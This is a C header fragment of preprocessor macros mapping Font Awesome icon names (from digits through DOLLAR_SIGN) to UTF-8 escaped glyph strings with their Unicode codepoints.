#define ICON_MAX_FA 0xf8ff
#define ICON_FA_0 "0" // U+0030
#define ICON_FA_1 "1" // U+0031
#define ICON_FA_2 "2" // U+0032
#define ICON_FA_3 "3" // U+0033
#define ICON_FA_4 "4" // U+0034
#define ICON_FA_5 "5" // U+0035
#define ICON_FA_6 "6" // U+0036
#define ICON_FA_7 "7" // U+0037
#define ICON_FA_8 "8" // U+0038
#define ICON_FA_9 "9" // U+0039
#define ICON_FA_A "A" // U+0041
#define ICON_FA_ADDRESS_BOOK "\xef\x8a\xb9" // U+f2b9
#define ICON_FA_ADDRESS_CARD "\xef\x8a\xbb" // U+f2bb
#define ICON_FA_ALIGN_CENTER "\xef\x80\xb7" // U+f037
#define ICON_FA_ALIGN_JUSTIFY "\xef\x80\xb9" // U+f039
#define ICON_FA_ALIGN_LEFT "\xef\x80\xb6" // U+f036
#define ICON_FA_ALIGN_RIGHT "\xef\x80\xb8" // U+f038
#define ICON_FA_ANCHOR "\xef\x84\xbd" // U+f13d
#define ICON_FA_ANCHOR_CIRCLE_CHECK "\xee\x92\xaa" // U+e4aa
#define ICON_FA_ANCHOR_CIRCLE_EXCLAMATION "\xee\x92\xab" // U+e4ab
#define ICON_FA_ANCHOR_CIRCLE_XMARK "\xee\x92\xac" // U+e4ac
#define ICON_FA_ANCHOR_LOCK "\xee\x92\xad" // U+e4ad
#define ICON_FA_ANGLE_DOWN "\xef\x84\x87" // U+f107
#define ICON_FA_ANGLE_LEFT "\xef\x84\x84" // U+f104
#define ICON_FA_ANGLE_RIGHT "\xef\x84\x85" // U+f105
#define ICON_FA_ANGLE_UP "\xef\x84\x86" // U+f106
#define ICON_FA_ANGLES_DOWN "\xef\x84\x83" // U+f103
#define ICON_FA_ANGLES_LEFT "\xef\x84\x80" // U+f100
#define ICON_FA_ANGLES_RIGHT "\xef\x84\x81" // U+f101
#define ICON_FA_ANGLES_UP "\xef\x84\x82" // U+f102
#define ICON_FA_ANKH "\xef\x99\x84" // U+f644
#define ICON_FA_APPLE_WHOLE "\xef\x97\x91" // U+f5d1
#define ICON_FA_ARCHWAY "\xef\x95\x97" // U+f557
#define ICON_FA_ARROW_DOWN "\xef\x81\xa3" // U+f063
#define ICON_FA_ARROW_DOWN_1_9 "\xef\x85\xa2" // U+f162
#define ICON_FA_ARROW_DOWN_9_1 "\xef\xa2\x86" // U+f886
#define ICON_FA_ARROW_DOWN_A_Z "\xef\x85\x9d" // U+f15d
#define ICON_FA_ARROW_DOWN_LONG "\xef\x85\xb5" // U+f175
#define ICON_FA_ARROW_DOWN_SHORT_WIDE "\xef\xa2\x84" // U+f884
#define ICON_FA_ARROW_DOWN_UP_ACROSS_LINE "\xee\x92\xaf" // U+e4af
#define ICON_FA_ARROW_DOWN_UP_LOCK "\xee\x92\xb0" // U+e4b0
#define ICON_FA_ARROW_DOWN_WIDE_SHORT "\xef\x85\xa0" // U+f160
#define ICON_FA_ARROW_DOWN_Z_A "\xef\xa2\x81" // U+f881
#define ICON_FA_ARROW_LEFT "\xef\x81\xa0" // U+f060
#define ICON_FA_ARROW_LEFT_LONG "\xef\x85\xb7" // U+f177
#define ICON_FA_ARROW_POINTER "\xef\x89\x85" // U+f245
#define ICON_FA_ARROW_RIGHT "\xef\x81\xa1" // U+f061
#define ICON_FA_ARROW_RIGHT_ARROW_LEFT "\xef\x83\xac" // U+f0ec
#define ICON_FA_ARROW_RIGHT_FROM_BRACKET "\xef\x82\x8b" // U+f08b
#define ICON_FA_ARROW_RIGHT_LONG "\xef\x85\xb8" // U+f178
#define ICON_FA_ARROW_RIGHT_TO_BRACKET "\xef\x82\x90" // U+f090
#define ICON_FA_ARROW_RIGHT_TO_CITY "\xee\x92\xb3" // U+e4b3
#define ICON_FA_ARROW_ROTATE_LEFT "\xef\x83\xa2" // U+f0e2
#define ICON_FA_ARROW_ROTATE_RIGHT "\xef\x80\x9e" // U+f01e
#define ICON_FA_ARROW_TREND_DOWN "\xee\x82\x97" // U+e097
#define ICON_FA_ARROW_TREND_UP "\xee\x82\x98" // U+e098
#define ICON_FA_ARROW_TURN_DOWN "\xef\x85\x89" // U+f149
#define ICON_FA_ARROW_TURN_UP "\xef\x85\x88" // U+f148
#define ICON_FA_ARROW_UP "\xef\x81\xa2" // U+f062
#define ICON_FA_ARROW_UP_1_9 "\xef\x85\xa3" // U+f163
#define ICON_FA_ARROW_UP_9_1 "\xef\xa2\x87" // U+f887
#define ICON_FA_ARROW_UP_A_Z "\xef\x85\x9e" // U+f15e
#define ICON_FA_ARROW_UP_FROM_BRACKET "\xee\x82\x9a" // U+e09a
#define ICON_FA_ARROW_UP_FROM_GROUND_WATER "\xee\x92\xb5" // U+e4b5
#define ICON_FA_ARROW_UP_FROM_WATER_PUMP "\xee\x92\xb6" // U+e4b6
#define ICON_FA_ARROW_UP_LONG "\xef\x85\xb6" // U+f176
#define ICON_FA_ARROW_UP_RIGHT_DOTS "\xee\x92\xb7" // U+e4b7
#define ICON_FA_ARROW_UP_RIGHT_FROM_SQUARE "\xef\x82\x8e" // U+f08e
#define ICON_FA_ARROW_UP_SHORT_WIDE "\xef\xa2\x85" // U+f885
#define ICON_FA_ARROW_UP_WIDE_SHORT "\xef\x85\xa1" // U+f161
#define ICON_FA_ARROW_UP_Z_A "\xef\xa2\x82" // U+f882
#define ICON_FA_ARROWS_DOWN_TO_LINE "\xee\x92\xb8" // U+e4b8
#define ICON_FA_ARROWS_DOWN_TO_PEOPLE "\xee\x92\xb9" // U+e4b9
#define ICON_FA_ARROWS_LEFT_RIGHT "\xef\x81\xbe" // U+f07e
#define ICON_FA_ARROWS_LEFT_RIGHT_TO_LINE "\xee\x92\xba" // U+e4ba
#define ICON_FA_ARROWS_ROTATE "\xef\x80\xa1" // U+f021
#define ICON_FA_ARROWS_SPIN "\xee\x92\xbb" // U+e4bb
#define ICON_FA_ARROWS_SPLIT_UP_AND_LEFT "\xee\x92\xbc" // U+e4bc
#define ICON_FA_ARROWS_TO_CIRCLE "\xee\x92\xbd" // U+e4bd
#define ICON_FA_ARROWS_TO_DOT "\xee\x92\xbe" // U+e4be
#define ICON_FA_ARROWS_TO_EYE "\xee\x92\xbf" // U+e4bf
#define ICON_FA_ARROWS_TURN_RIGHT "\xee\x93\x80" // U+e4c0
#define ICON_FA_ARROWS_TURN_TO_DOTS "\xee\x93\x81" // U+e4c1
#define ICON_FA_ARROWS_UP_DOWN "\xef\x81\xbd" // U+f07d
#define ICON_FA_ARROWS_UP_DOWN_LEFT_RIGHT "\xef\x81\x87" // U+f047
#define ICON_FA_ARROWS_UP_TO_LINE "\xee\x93\x82" // U+e4c2
#define ICON_FA_ASTERISK "*" // U+002a
#define ICON_FA_AT "@" // U+0040
#define ICON_FA_ATOM "\xef\x97\x92" // U+f5d2
#define ICON_FA_AUDIO_DESCRIPTION "\xef\x8a\x9e" // U+f29e
#define ICON_FA_AUSTRAL_SIGN "\xee\x82\xa9" // U+e0a9
#define ICON_FA_AWARD "\xef\x95\x99" // U+f559
#define ICON_FA_B "B" // U+0042
#define ICON_FA_BABY "\xef\x9d\xbc" // U+f77c
#define ICON_FA_BABY_CARRIAGE "\xef\x9d\xbd" // U+f77d
#define ICON_FA_BACKWARD "\xef\x81\x8a" // U+f04a
#define ICON_FA_BACKWARD_FAST "\xef\x81\x89" // U+f049
#define ICON_FA_BACKWARD_STEP "\xef\x81\x88" // U+f048
#define ICON_FA_BACON "\xef\x9f\xa5" // U+f7e5
#define ICON_FA_BACTERIA "\xee\x81\x99" // U+e059
#define ICON_FA_BACTERIUM "\xee\x81\x9a" // U+e05a
#define ICON_FA_BAG_SHOPPING "\xef\x8a\x90" // U+f290
#define ICON_FA_BAHAI "\xef\x99\xa6" // U+f666
#define ICON_FA_BAHT_SIGN "\xee\x82\xac" // U+e0ac
#define ICON_FA_BAN "\xef\x81\x9e" // U+f05e
#define ICON_FA_BAN_SMOKING "\xef\x95\x8d" // U+f54d
#define ICON_FA_BANDAGE "\xef\x91\xa2" // U+f462
#define ICON_FA_BARCODE "\xef\x80\xaa" // U+f02a
#define ICON_FA_BARS "\xef\x83\x89" // U+f0c9
#define ICON_FA_BARS_PROGRESS "\xef\xa0\xa8" // U+f828
#define ICON_FA_BARS_STAGGERED "\xef\x95\x90" // U+f550
#define ICON_FA_BASEBALL "\xef\x90\xb3" // U+f433
#define ICON_FA_BASEBALL_BAT_BALL "\xef\x90\xb2" // U+f432
#define ICON_FA_BASKET_SHOPPING "\xef\x8a\x91" // U+f291
#define ICON_FA_BASKETBALL "\xef\x90\xb4" // U+f434
#define ICON_FA_BATH "\xef\x8b\x8d" // U+f2cd
#define ICON_FA_BATTERY_EMPTY "\xef\x89\x84" // U+f244
#define ICON_FA_BATTERY_FULL "\xef\x89\x80" // U+f240
#define ICON_FA_BATTERY_HALF "\xef\x89\x82" // U+f242
#define ICON_FA_BATTERY_QUARTER "\xef\x89\x83" // U+f243
#define ICON_FA_BATTERY_THREE_QUARTERS "\xef\x89\x81" // U+f241
#define ICON_FA_BED "\xef\x88\xb6" // U+f236
#define ICON_FA_BED_PULSE "\xef\x92\x87" // U+f487
#define ICON_FA_BEER_MUG_EMPTY "\xef\x83\xbc" // U+f0fc
#define ICON_FA_BELL "\xef\x83\xb3" // U+f0f3
#define ICON_FA_BELL_CONCIERGE "\xef\x95\xa2" // U+f562
#define ICON_FA_BELL_SLASH "\xef\x87\xb6" // U+f1f6
#define ICON_FA_BEZIER_CURVE "\xef\x95\x9b" // U+f55b
#define ICON_FA_BICYCLE "\xef\x88\x86" // U+f206
#define ICON_FA_BINOCULARS "\xef\x87\xa5" // U+f1e5
#define ICON_FA_BIOHAZARD "\xef\x9e\x80" // U+f780
#define ICON_FA_BITCOIN_SIGN "\xee\x82\xb4" // U+e0b4
#define ICON_FA_BLENDER "\xef\x94\x97" // U+f517
#define ICON_FA_BLENDER_PHONE "\xef\x9a\xb6" // U+f6b6
#define ICON_FA_BLOG "\xef\x9e\x81" // U+f781
#define ICON_FA_BOLD "\xef\x80\xb2" // U+f032
#define ICON_FA_BOLT "\xef\x83\xa7" // U+f0e7
#define ICON_FA_BOLT_LIGHTNING "\xee\x82\xb7" // U+e0b7
#define ICON_FA_BOMB "\xef\x87\xa2" // U+f1e2
#define ICON_FA_BONE "\xef\x97\x97" // U+f5d7
#define ICON_FA_BONG "\xef\x95\x9c" // U+f55c
#define ICON_FA_BOOK "\xef\x80\xad" // U+f02d
#define ICON_FA_BOOK_ATLAS "\xef\x95\x98" // U+f558
#define ICON_FA_BOOK_BIBLE "\xef\x99\x87" // U+f647
#define ICON_FA_BOOK_BOOKMARK "\xee\x82\xbb" // U+e0bb
#define ICON_FA_BOOK_JOURNAL_WHILLS "\xef\x99\xaa" // U+f66a
#define ICON_FA_BOOK_MEDICAL "\xef\x9f\xa6" // U+f7e6
#define ICON_FA_BOOK_OPEN "\xef\x94\x98" // U+f518
#define ICON_FA_BOOK_OPEN_READER "\xef\x97\x9a" // U+f5da
#define ICON_FA_BOOK_QURAN "\xef\x9a\x87" // U+f687
#define ICON_FA_BOOK_SKULL "\xef\x9a\xb7" // U+f6b7
#define ICON_FA_BOOK_TANAKH "\xef\xa0\xa7" // U+f827
#define ICON_FA_BOOKMARK "\xef\x80\xae" // U+f02e
#define ICON_FA_BORDER_ALL "\xef\xa1\x8c" // U+f84c
#define ICON_FA_BORDER_NONE "\xef\xa1\x90" // U+f850
#define ICON_FA_BORDER_TOP_LEFT "\xef\xa1\x93" // U+f853
#define ICON_FA_BORE_HOLE "\xee\x93\x83" // U+e4c3
#define ICON_FA_BOTTLE_DROPLET "\xee\x93\x84" // U+e4c4
#define ICON_FA_BOTTLE_WATER "\xee\x93\x85" // U+e4c5
#define ICON_FA_BOWL_FOOD "\xee\x93\x86" // U+e4c6
#define ICON_FA_BOWL_RICE "\xee\x8b\xab" // U+e2eb
#define ICON_FA_BOWLING_BALL "\xef\x90\xb6" // U+f436
#define ICON_FA_BOX "\xef\x91\xa6" // U+f466
#define ICON_FA_BOX_ARCHIVE "\xef\x86\x87" // U+f187
#define ICON_FA_BOX_OPEN "\xef\x92\x9e" // U+f49e
#define ICON_FA_BOX_TISSUE "\xee\x81\x9b" // U+e05b
#define ICON_FA_BOXES_PACKING "\xee\x93\x87" // U+e4c7
#define ICON_FA_BOXES_STACKED "\xef\x91\xa8" // U+f468
#define ICON_FA_BRAILLE "\xef\x8a\xa1" // U+f2a1
#define ICON_FA_BRAIN "\xef\x97\x9c" // U+f5dc
#define ICON_FA_BRAZILIAN_REAL_SIGN "\xee\x91\xac" // U+e46c
#define ICON_FA_BREAD_SLICE "\xef\x9f\xac" // U+f7ec
#define ICON_FA_BRIDGE "\xee\x93\x88" // U+e4c8
#define ICON_FA_BRIDGE_CIRCLE_CHECK "\xee\x93\x89" // U+e4c9
#define ICON_FA_BRIDGE_CIRCLE_EXCLAMATION "\xee\x93\x8a" // U+e4ca
#define ICON_FA_BRIDGE_CIRCLE_XMARK "\xee\x93\x8b" // U+e4cb
#define ICON_FA_BRIDGE_LOCK "\xee\x93\x8c" // U+e4cc
#define ICON_FA_BRIDGE_WATER "\xee\x93\x8e" // U+e4ce
#define ICON_FA_BRIEFCASE "\xef\x82\xb1" // U+f0b1
#define ICON_FA_BRIEFCASE_MEDICAL "\xef\x91\xa9" // U+f469
#define ICON_FA_BROOM "\xef\x94\x9a" // U+f51a
#define ICON_FA_BROOM_BALL "\xef\x91\x98" // U+f458
#define ICON_FA_BRUSH "\xef\x95\x9d" // U+f55d
#define ICON_FA_BUCKET "\xee\x93\x8f" // U+e4cf
#define ICON_FA_BUG "\xef\x86\x88" // U+f188
#define ICON_FA_BUG_SLASH "\xee\x92\x90" // U+e490
#define ICON_FA_BUGS "\xee\x93\x90" // U+e4d0
#define ICON_FA_BUILDING "\xef\x86\xad" // U+f1ad
#define ICON_FA_BUILDING_CIRCLE_ARROW_RIGHT "\xee\x93\x91" // U+e4d1
#define ICON_FA_BUILDING_CIRCLE_CHECK "\xee\x93\x92" // U+e4d2
#define ICON_FA_BUILDING_CIRCLE_EXCLAMATION "\xee\x93\x93" // U+e4d3
#define ICON_FA_BUILDING_CIRCLE_XMARK "\xee\x93\x94" // U+e4d4
#define ICON_FA_BUILDING_COLUMNS "\xef\x86\x9c" // U+f19c
#define ICON_FA_BUILDING_FLAG "\xee\x93\x95" // U+e4d5
#define ICON_FA_BUILDING_LOCK "\xee\x93\x96" // U+e4d6
#define ICON_FA_BUILDING_NGO "\xee\x93\x97" // U+e4d7
#define ICON_FA_BUILDING_SHIELD "\xee\x93\x98" // U+e4d8
#define ICON_FA_BUILDING_UN "\xee\x93\x99" // U+e4d9
#define ICON_FA_BUILDING_USER "\xee\x93\x9a" // U+e4da
#define ICON_FA_BUILDING_WHEAT "\xee\x93\x9b" // U+e4db
#define ICON_FA_BULLHORN "\xef\x82\xa1" // U+f0a1
#define ICON_FA_BULLSEYE "\xef\x85\x80" // U+f140
#define ICON_FA_BURGER "\xef\xa0\x85" // U+f805
#define ICON_FA_BURST "\xee\x93\x9c" // U+e4dc
#define ICON_FA_BUS "\xef\x88\x87" // U+f207
#define ICON_FA_BUS_SIMPLE "\xef\x95\x9e" // U+f55e
#define ICON_FA_BUSINESS_TIME "\xef\x99\x8a" // U+f64a
#define ICON_FA_C "C" // U+0043
#define ICON_FA_CABLE_CAR "\xef\x9f\x9a" // U+f7da
#define ICON_FA_CAKE_CANDLES "\xef\x87\xbd" // U+f1fd
#define ICON_FA_CALCULATOR "\xef\x87\xac" // U+f1ec
#define ICON_FA_CALENDAR "\xef\x84\xb3" // U+f133
#define ICON_FA_CALENDAR_CHECK "\xef\x89\xb4" // U+f274
#define ICON_FA_CALENDAR_DAY "\xef\x9e\x83" // U+f783
#define ICON_FA_CALENDAR_DAYS "\xef\x81\xb3" // U+f073
#define ICON_FA_CALENDAR_MINUS "\xef\x89\xb2" // U+f272
#define ICON_FA_CALENDAR_PLUS "\xef\x89\xb1" // U+f271
#define ICON_FA_CALENDAR_WEEK "\xef\x9e\x84" // U+f784
#define ICON_FA_CALENDAR_XMARK "\xef\x89\xb3" // U+f273
#define ICON_FA_CAMERA "\xef\x80\xb0" // U+f030
#define ICON_FA_CAMERA_RETRO "\xef\x82\x83" // U+f083
#define ICON_FA_CAMERA_ROTATE "\xee\x83\x98" // U+e0d8
#define ICON_FA_CAMPGROUND "\xef\x9a\xbb" // U+f6bb
#define ICON_FA_CANDY_CANE "\xef\x9e\x86" // U+f786
#define ICON_FA_CANNABIS "\xef\x95\x9f" // U+f55f
#define ICON_FA_CAPSULES "\xef\x91\xab" // U+f46b
#define ICON_FA_CAR "\xef\x86\xb9" // U+f1b9
#define ICON_FA_CAR_BATTERY "\xef\x97\x9f" // U+f5df
#define ICON_FA_CAR_BURST "\xef\x97\xa1" // U+f5e1
#define ICON_FA_CAR_ON "\xee\x93\x9d" // U+e4dd
#define ICON_FA_CAR_REAR "\xef\x97\x9e" // U+f5de
#define ICON_FA_CAR_SIDE "\xef\x97\xa4" // U+f5e4
#define ICON_FA_CAR_TUNNEL "\xee\x93\x9e" // U+e4de
#define ICON_FA_CARAVAN "\xef\xa3\xbf" // U+f8ff
#define ICON_FA_CARET_DOWN "\xef\x83\x97" // U+f0d7
#define ICON_FA_CARET_LEFT "\xef\x83\x99" // U+f0d9
#define ICON_FA_CARET_RIGHT "\xef\x83\x9a" // U+f0da
#define ICON_FA_CARET_UP "\xef\x83\x98" // U+f0d8
#define ICON_FA_CARROT "\xef\x9e\x87" // U+f787
#define ICON_FA_CART_ARROW_DOWN "\xef\x88\x98" // U+f218
#define ICON_FA_CART_FLATBED "\xef\x91\xb4" // U+f474
#define ICON_FA_CART_FLATBED_SUITCASE "\xef\x96\x9d" // U+f59d
#define ICON_FA_CART_PLUS "\xef\x88\x97" // U+f217
#define ICON_FA_CART_SHOPPING "\xef\x81\xba" // U+f07a
#define ICON_FA_CASH_REGISTER "\xef\x9e\x88" // U+f788
#define ICON_FA_CAT "\xef\x9a\xbe" // U+f6be
#define ICON_FA_CEDI_SIGN "\xee\x83\x9f" // U+e0df
#define ICON_FA_CENT_SIGN "\xee\x8f\xb5" // U+e3f5
#define ICON_FA_CERTIFICATE "\xef\x82\xa3" // U+f0a3
#define ICON_FA_CHAIR "\xef\x9b\x80" // U+f6c0
#define ICON_FA_CHALKBOARD "\xef\x94\x9b" // U+f51b
#define ICON_FA_CHALKBOARD_USER "\xef\x94\x9c" // U+f51c
#define ICON_FA_CHAMPAGNE_GLASSES "\xef\x9e\x9f" // U+f79f
#define ICON_FA_CHARGING_STATION "\xef\x97\xa7" // U+f5e7
#define ICON_FA_CHART_AREA "\xef\x87\xbe" // U+f1fe
#define ICON_FA_CHART_BAR "\xef\x82\x80" // U+f080
#define ICON_FA_CHART_COLUMN "\xee\x83\xa3" // U+e0e3
#define ICON_FA_CHART_GANTT "\xee\x83\xa4" // U+e0e4
#define ICON_FA_CHART_LINE "\xef\x88\x81" // U+f201
#define ICON_FA_CHART_PIE "\xef\x88\x80" // U+f200
#define ICON_FA_CHART_SIMPLE "\xee\x91\xb3" // U+e473
#define ICON_FA_CHECK "\xef\x80\x8c" // U+f00c
#define ICON_FA_CHECK_DOUBLE "\xef\x95\xa0" // U+f560
#define ICON_FA_CHECK_TO_SLOT "\xef\x9d\xb2" // U+f772
#define ICON_FA_CHEESE "\xef\x9f\xaf" // U+f7ef
#define ICON_FA_CHESS "\xef\x90\xb9" // U+f439
#define ICON_FA_CHESS_BISHOP "\xef\x90\xba" // U+f43a
#define ICON_FA_CHESS_BOARD "\xef\x90\xbc" // U+f43c
#define ICON_FA_CHESS_KING "\xef\x90\xbf" // U+f43f
#define ICON_FA_CHESS_KNIGHT "\xef\x91\x81" // U+f441
#define ICON_FA_CHESS_PAWN "\xef\x91\x83" // U+f443
#define ICON_FA_CHESS_QUEEN "\xef\x91\x85" // U+f445
#define ICON_FA_CHESS_ROOK "\xef\x91\x87" // U+f447
#define ICON_FA_CHEVRON_DOWN "\xef\x81\xb8" // U+f078
#define ICON_FA_CHEVRON_LEFT "\xef\x81\x93" // U+f053
#define ICON_FA_CHEVRON_RIGHT "\xef\x81\x94" // U+f054
#define ICON_FA_CHEVRON_UP "\xef\x81\xb7" // U+f077
#define ICON_FA_CHILD "\xef\x86\xae" // U+f1ae
#define ICON_FA_CHILD_DRESS "\xee\x96\x9c" // U+e59c
#define ICON_FA_CHILD_REACHING "\xee\x96\x9d" // U+e59d
#define ICON_FA_CHILD_RIFLE "\xee\x93\xa0" // U+e4e0
#define ICON_FA_CHILDREN "\xee\x93\xa1" // U+e4e1
#define ICON_FA_CHURCH "\xef\x94\x9d" // U+f51d
#define ICON_FA_CIRCLE "\xef\x84\x91" // U+f111
#define ICON_FA_CIRCLE_ARROW_DOWN "\xef\x82\xab" // U+f0ab
#define ICON_FA_CIRCLE_ARROW_LEFT "\xef\x82\xa8" // U+f0a8
#define ICON_FA_CIRCLE_ARROW_RIGHT "\xef\x82\xa9" // U+f0a9
#define ICON_FA_CIRCLE_ARROW_UP "\xef\x82\xaa" // U+f0aa
#define ICON_FA_CIRCLE_CHECK "\xef\x81\x98" // U+f058
#define ICON_FA_CIRCLE_CHEVRON_DOWN "\xef\x84\xba" // U+f13a
#define ICON_FA_CIRCLE_CHEVRON_LEFT "\xef\x84\xb7" // U+f137
#define ICON_FA_CIRCLE_CHEVRON_RIGHT "\xef\x84\xb8" // U+f138
#define ICON_FA_CIRCLE_CHEVRON_UP "\xef\x84\xb9" // U+f139
#define ICON_FA_CIRCLE_DOLLAR_TO_SLOT "\xef\x92\xb9" // U+f4b9
#define ICON_FA_CIRCLE_DOT "\xef\x86\x92" // U+f192
#define ICON_FA_CIRCLE_DOWN "\xef\x8d\x98" // U+f358
#define ICON_FA_CIRCLE_EXCLAMATION "\xef\x81\xaa" // U+f06a
#define ICON_FA_CIRCLE_H "\xef\x91\xbe" // U+f47e
#define ICON_FA_CIRCLE_HALF_STROKE "\xef\x81\x82" // U+f042
#define ICON_FA_CIRCLE_INFO "\xef\x81\x9a" // U+f05a
#define ICON_FA_CIRCLE_LEFT "\xef\x8d\x99" // U+f359
#define ICON_FA_CIRCLE_MINUS "\xef\x81\x96" // U+f056
#define ICON_FA_CIRCLE_NODES "\xee\x93\xa2" // U+e4e2
#define ICON_FA_CIRCLE_NOTCH "\xef\x87\x8e" // U+f1ce
#define ICON_FA_CIRCLE_PAUSE "\xef\x8a\x8b" // U+f28b
#define ICON_FA_CIRCLE_PLAY "\xef\x85\x84" // U+f144
#define ICON_FA_CIRCLE_PLUS "\xef\x81\x95" // U+f055
#define ICON_FA_CIRCLE_QUESTION "\xef\x81\x99" // U+f059
#define ICON_FA_CIRCLE_RADIATION "\xef\x9e\xba" // U+f7ba
#define ICON_FA_CIRCLE_RIGHT "\xef\x8d\x9a" // U+f35a
#define ICON_FA_CIRCLE_STOP "\xef\x8a\x8d" // U+f28d
#define ICON_FA_CIRCLE_UP "\xef\x8d\x9b" // U+f35b
#define ICON_FA_CIRCLE_USER "\xef\x8a\xbd" // U+f2bd
#define ICON_FA_CIRCLE_XMARK "\xef\x81\x97" // U+f057
#define ICON_FA_CITY "\xef\x99\x8f" // U+f64f
#define ICON_FA_CLAPPERBOARD "\xee\x84\xb1" // U+e131
#define ICON_FA_CLIPBOARD "\xef\x8c\xa8" // U+f328
#define ICON_FA_CLIPBOARD_CHECK "\xef\x91\xac" // U+f46c
#define ICON_FA_CLIPBOARD_LIST "\xef\x91\xad" // U+f46d
#define ICON_FA_CLIPBOARD_QUESTION "\xee\x93\xa3" // U+e4e3
#define ICON_FA_CLIPBOARD_USER "\xef\x9f\xb3" // U+f7f3
#define ICON_FA_CLOCK "\xef\x80\x97" // U+f017
#define ICON_FA_CLOCK_ROTATE_LEFT "\xef\x87\x9a" // U+f1da
#define ICON_FA_CLONE "\xef\x89\x8d" // U+f24d
#define ICON_FA_CLOSED_CAPTIONING "\xef\x88\x8a" // U+f20a
#define ICON_FA_CLOUD "\xef\x83\x82" // U+f0c2
#define ICON_FA_CLOUD_ARROW_DOWN "\xef\x83\xad" // U+f0ed
#define ICON_FA_CLOUD_ARROW_UP "\xef\x83\xae" // U+f0ee
#define ICON_FA_CLOUD_BOLT "\xef\x9d\xac" // U+f76c
#define ICON_FA_CLOUD_MEATBALL "\xef\x9c\xbb" // U+f73b
#define ICON_FA_CLOUD_MOON "\xef\x9b\x83" // U+f6c3
#define ICON_FA_CLOUD_MOON_RAIN "\xef\x9c\xbc" // U+f73c
#define ICON_FA_CLOUD_RAIN "\xef\x9c\xbd" // U+f73d
#define ICON_FA_CLOUD_SHOWERS_HEAVY "\xef\x9d\x80" // U+f740
#define ICON_FA_CLOUD_SHOWERS_WATER "\xee\x93\xa4" // U+e4e4
#define ICON_FA_CLOUD_SUN "\xef\x9b\x84" // U+f6c4
#define ICON_FA_CLOUD_SUN_RAIN "\xef\x9d\x83" // U+f743
#define ICON_FA_CLOVER "\xee\x84\xb9" // U+e139
#define ICON_FA_CODE "\xef\x84\xa1" // U+f121
#define ICON_FA_CODE_BRANCH "\xef\x84\xa6" // U+f126
#define ICON_FA_CODE_COMMIT "\xef\x8e\x86" // U+f386
#define ICON_FA_CODE_COMPARE "\xee\x84\xba" // U+e13a
#define ICON_FA_CODE_FORK "\xee\x84\xbb" // U+e13b
#define ICON_FA_CODE_MERGE "\xef\x8e\x87" // U+f387
#define ICON_FA_CODE_PULL_REQUEST "\xee\x84\xbc" // U+e13c
#define ICON_FA_COINS "\xef\x94\x9e" // U+f51e
#define ICON_FA_COLON_SIGN "\xee\x85\x80" // U+e140
#define ICON_FA_COMMENT "\xef\x81\xb5" // U+f075
#define ICON_FA_COMMENT_DOLLAR "\xef\x99\x91" // U+f651
#define ICON_FA_COMMENT_DOTS "\xef\x92\xad" // U+f4ad
#define ICON_FA_COMMENT_MEDICAL "\xef\x9f\xb5" // U+f7f5
#define ICON_FA_COMMENT_SLASH "\xef\x92\xb3" // U+f4b3
#define ICON_FA_COMMENT_SMS "\xef\x9f\x8d" // U+f7cd
#define ICON_FA_COMMENTS "\xef\x82\x86" // U+f086
#define ICON_FA_COMMENTS_DOLLAR "\xef\x99\x93" // U+f653
#define ICON_FA_COMPACT_DISC "\xef\x94\x9f" // U+f51f
#define ICON_FA_COMPASS "\xef\x85\x8e" // U+f14e
#define ICON_FA_COMPASS_DRAFTING "\xef\x95\xa8" // U+f568
#define ICON_FA_COMPRESS "\xef\x81\xa6" // U+f066
#define ICON_FA_COMPUTER "\xee\x93\xa5" // U+e4e5
#define ICON_FA_COMPUTER_MOUSE "\xef\xa3\x8c" // U+f8cc
#define ICON_FA_COOKIE "\xef\x95\xa3" // U+f563
#define ICON_FA_COOKIE_BITE "\xef\x95\xa4" // U+f564
#define ICON_FA_COPY "\xef\x83\x85" // U+f0c5
#define ICON_FA_COPYRIGHT "\xef\x87\xb9" // U+f1f9
#define ICON_FA_COUCH "\xef\x92\xb8" // U+f4b8
#define ICON_FA_COW "\xef\x9b\x88" // U+f6c8
#define ICON_FA_CREDIT_CARD "\xef\x82\x9d" // U+f09d
#define ICON_FA_CROP "\xef\x84\xa5" // U+f125
#define ICON_FA_CROP_SIMPLE "\xef\x95\xa5" // U+f565
#define ICON_FA_CROSS "\xef\x99\x94" // U+f654
#define ICON_FA_CROSSHAIRS "\xef\x81\x9b" // U+f05b
#define ICON_FA_CROW "\xef\x94\xa0" // U+f520
#define ICON_FA_CROWN "\xef\x94\xa1" // U+f521
#define ICON_FA_CRUTCH "\xef\x9f\xb7" // U+f7f7
#define ICON_FA_CRUZEIRO_SIGN "\xee\x85\x92" // U+e152
#define ICON_FA_CUBE "\xef\x86\xb2" // U+f1b2
#define ICON_FA_CUBES "\xef\x86\xb3" // U+f1b3
#define ICON_FA_CUBES_STACKED "\xee\x93\xa6" // U+e4e6
#define ICON_FA_D "D" // U+0044
#define ICON_FA_DATABASE "\xef\x87\x80" // U+f1c0
#define ICON_FA_DELETE_LEFT "\xef\x95\x9a" // U+f55a
#define ICON_FA_DEMOCRAT "\xef\x9d\x87" // U+f747
#define ICON_FA_DESKTOP "\xef\x8e\x90" // U+f390
#define ICON_FA_DHARMACHAKRA "\xef\x99\x95" // U+f655
#define ICON_FA_DIAGRAM_NEXT "\xee\x91\xb6" // U+e476
#define ICON_FA_DIAGRAM_PREDECESSOR "\xee\x91\xb7" // U+e477
#define ICON_FA_DIAGRAM_PROJECT "\xef\x95\x82" // U+f542
#define ICON_FA_DIAGRAM_SUCCESSOR "\xee\x91\xba" // U+e47a
#define ICON_FA_DIAMOND "\xef\x88\x99" // U+f219
#define ICON_FA_DIAMOND_TURN_RIGHT "\xef\x97\xab" // U+f5eb
#define ICON_FA_DICE "\xef\x94\xa2" // U+f522
#define ICON_FA_DICE_D20 "\xef\x9b\x8f" // U+f6cf
#define ICON_FA_DICE_D6 "\xef\x9b\x91" // U+f6d1
#define ICON_FA_DICE_FIVE "\xef\x94\xa3" // U+f523
#define ICON_FA_DICE_FOUR "\xef\x94\xa4" // U+f524
#define ICON_FA_DICE_ONE "\xef\x94\xa5" // U+f525
#define ICON_FA_DICE_SIX "\xef\x94\xa6" // U+f526
#define ICON_FA_DICE_THREE "\xef\x94\xa7" // U+f527
#define ICON_FA_DICE_TWO "\xef\x94\xa8" // U+f528
#define ICON_FA_DISEASE "\xef\x9f\xba" // U+f7fa
#define ICON_FA_DISPLAY "\xee\x85\xa3" // U+e163
#define ICON_FA_DIVIDE "\xef\x94\xa9" // U+f529
#define ICON_FA_DNA "\xef\x91\xb1" // U+f471
#define ICON_FA_DOG "\xef\x9b\x93" // U+f6d3
#define ICON_FA_DOLLAR_SIGN "$" // U+0024
